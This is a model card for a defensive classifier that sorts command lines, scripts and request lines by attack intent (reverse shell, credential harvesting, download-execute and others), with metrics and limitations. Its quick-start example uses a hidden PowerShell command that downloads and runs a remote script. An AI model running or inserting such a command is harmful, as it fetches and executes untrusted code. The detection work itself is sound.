File size: 7,649 Bytes
aae1821
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
---
license: apache-2.0
language:
- en
library_name: transformers
pipeline_tag: text-classification
base_model: distilbert/distilroberta-base
datasets:
- DaveyD347/script-intent-commands
tags:
- cybersecurity
- security
- command-line
- powershell
- bash
- sql-injection
- mitre-attack
- threat-detection
metrics:
- accuracy
- f1
- precision
- recall
model-index:
- name: script-intent-distilroberta
  results:
  - task:
      type: text-classification
      name: Script intent classification
    dataset:
      name: Script & Payload Intent (template-disjoint test split)
      type: DaveyD347/script-intent-commands
      split: test
    metrics:
    - type: accuracy
      value: 0.780
    - type: f1
      name: Macro F1
      value: 0.778
  - task:
      type: text-classification
      name: Script intent classification
    dataset:
      name: Script & Payload Intent (hand-written challenge set)
      type: DaveyD347/script-intent-commands
      config: challenge
      split: test
    metrics:
    - type: accuracy
      value: 0.753
    - type: f1
      name: Macro F1
      value: 0.756
---

# Script Intent Classifier (DistilRoBERTa)

Reads one command line, script fragment, SQL query or HTTP request line and predicts the **intent**
behind it: benign, reconnaissance, credential harvesting, reverse shell, persistence, download and
execute, or SQL injection. It covers bash, PowerShell, Windows `cmd`, SQL and URL-encoded request
lines.

It is meant as a **triage signal** for process command-line telemetry, shell history, EDR exports and
WAF logs: rank what an analyst looks at first and say *why* it looks bad. It is not a standalone
blocking control.

## Quick start

```python
from transformers import pipeline

clf = pipeline("text-classification", model="DaveyD347/script-intent-distilroberta", top_k=3)

clf("powershell -nop -w hidden -c \"IEX(New-Object Net.WebClient).DownloadString('http://203.0.113.5/a.ps1')\"")
# [{'label': 'download_execute', ...}, ...]

clf("sudo systemctl restart nginx")
# [{'label': 'benign', ...}, ...]
```

## Labels

| id | Label | Covers |
|---|---|---|
| 0 | `benign` | Routine admin, dev and DBA work, including look-alikes |
| 1 | `reconnaissance` | Host, user, network, privilege, cloud and Active Directory discovery |
| 2 | `credential_harvesting` | LSASS/SAM/NTDS dumping, secrets in files, browsers, cloud metadata, Kerberoasting |
| 3 | `reverse_shell` | Interactive callbacks to a listener |
| 4 | `persistence` | Cron, systemd, Run keys, scheduled tasks, WMI, SSH keys, rogue accounts, web shells |
| 5 | `download_execute` | Fetching a remote payload and running it |
| 6 | `sql_injection` | Injection payloads in parameters, queries and request lines |

## Evaluation

Two evaluation sets, both unseen during training:

- **Template-disjoint test split** (3,360 rows, 108 templates). The dataset is generated from 540
  templates, and no test template appears in training. This measures generalization to *new command
  patterns*. A random row-level split would report around 99% and mean very little.
- **Hand-written challenge set** (73 rows), written after the templates were final, using tools and
  phrasings that aren't in any template. It is small, so each row moves accuracy by about 1.4 points.

### Headline numbers

| Metric | Test split | Challenge set |
|---|---|---|
| Accuracy (7-way) | **78.0%** | **75.3%** |
| Macro F1 | **0.778** | **0.756** |
| Malicious detection rate (any malicious label vs benign) | 94.1% | 80.0% |
| False negative rate (malicious called benign) | 5.9% | 20.0% |
| False positive rate (benign called malicious) | 22.5% | 8.7% |

### Per class (test split, n = 480 each)

| Label | Precision | Recall | F1 |
|---|---|---|---|
| benign | 0.685 | 0.775 | 0.727 |
| reconnaissance | 0.769 | 0.637 | 0.697 |
| credential_harvesting | 0.766 | 0.723 | 0.744 |
| reverse_shell | 0.686 | 0.683 | 0.685 |
| persistence | 0.780 | 0.754 | 0.767 |
| download_execute | 0.903 | 0.890 | 0.896 |
| sql_injection | 0.871 | 1.000 | 0.931 |

By language (test accuracy): `cmd` 91.9%, `sql` 86.7%, `powershell` 72.3%, `bash` 70.0%.

![Confusion matrix](eval/confusion_matrix.png)

Full metrics, confusion matrices and misclassified examples are in [`eval/metrics.json`](eval/metrics.json).

### What the errors look like

- **Benign versus reconnaissance and credential access** is the hardest boundary. `ps aux`, `whoami`,
  `Get-WinEvent` or `chmod 600 /etc/ssl/private/*.key` look like discovery or secret handling, and
  without context (who ran it, when, from which parent process) the text alone is ambiguous. This drives
  most of the 22.5% test false positive rate.
- **Reverse shell versus persistence and download-execute.** A cron job or scheduled task whose payload
  is a reverse shell or a stager is labeled `persistence` (its primary intent), and the model often picks
  the payload instead. From a triage standpoint both answers are "malicious", which is why the binary
  detection rate is much higher than 7-way accuracy.
- **Unknown tool names.** Commands whose only signal is the name of a tool the model never saw
  (`mimipenguin`, `trufflehog`, `SharpHound.exe`) are often called benign. The model learns syntax and
  context, not a tool blocklist; pair it with one.

## Training

| | |
|---|---|
| Base model | `distilbert/distilroberta-base` (82M parameters) |
| Data | [`DaveyD347/script-intent-commands`](https://huggingface.co/datasets/DaveyD347/script-intent-commands), 11,760 training rows from 377 templates |
| Epochs | 2 (best validation macro F1 at epoch 2: 0.830) |
| Learning rate | 5e-5, linear decay, 6% warmup, weight decay 0.01 |
| Batch size | 32 |
| Max length | 128 tokens |
| Hardware | 4 CPU cores, about 36 minutes |
| Seed | 42 |

Training code (`train.py`), the dataset generator (`generate_dataset.py`, `templates.py`) and the
evaluation script (`evaluate.py`) are in the dataset repository under `src/`.

## Intended use

- Ranking and enriching command-line telemetry for analyst review
- Explaining alerts with an intent label and a MITRE ATT&CK-aligned category
- Teaching and prototyping detection engineering with transformers

## Out of scope and limitations

- **Not a blocking control.** At a 22.5% false positive rate on hard benign templates, blocking on this
  model alone would break legitimate admin work.
- **Trained on synthetic data.** Real telemetry is longer and messier. Expect lower accuracy in
  production, and validate on your own logs before relying on it.
- **Single command, single label.** No process tree, user, host or timing context, and no multi-label
  output for commands that chain intents.
- **Shallow obfuscation coverage.** Heavily obfuscated PowerShell (Invoke-Obfuscation, string splitting,
  environment-variable tricks) and base64 payloads are only partly covered. The model does not decode
  base64.
- **Truncation.** Inputs over 128 tokens are truncated, so long scripts should be split into lines or
  statements first.
- **Adversarial robustness was not tested.** An attacker who knows the model is in use can likely
  rephrase commands to evade it.

## Ethical considerations

The model and dataset describe publicly documented attack techniques at the level defenders already
write detection rules for. Neither contains working exploits, binaries, real infrastructure or real
credentials. The intended use is defensive.

## Citation

```bibtex
@misc{script_intent_distilroberta_2026,
  title  = {Script Intent Classifier (DistilRoBERTa)},
  author = {DaveyD347},
  year   = {2026},
  url    = {https://huggingface.co/DaveyD347/script-intent-distilroberta}
}
```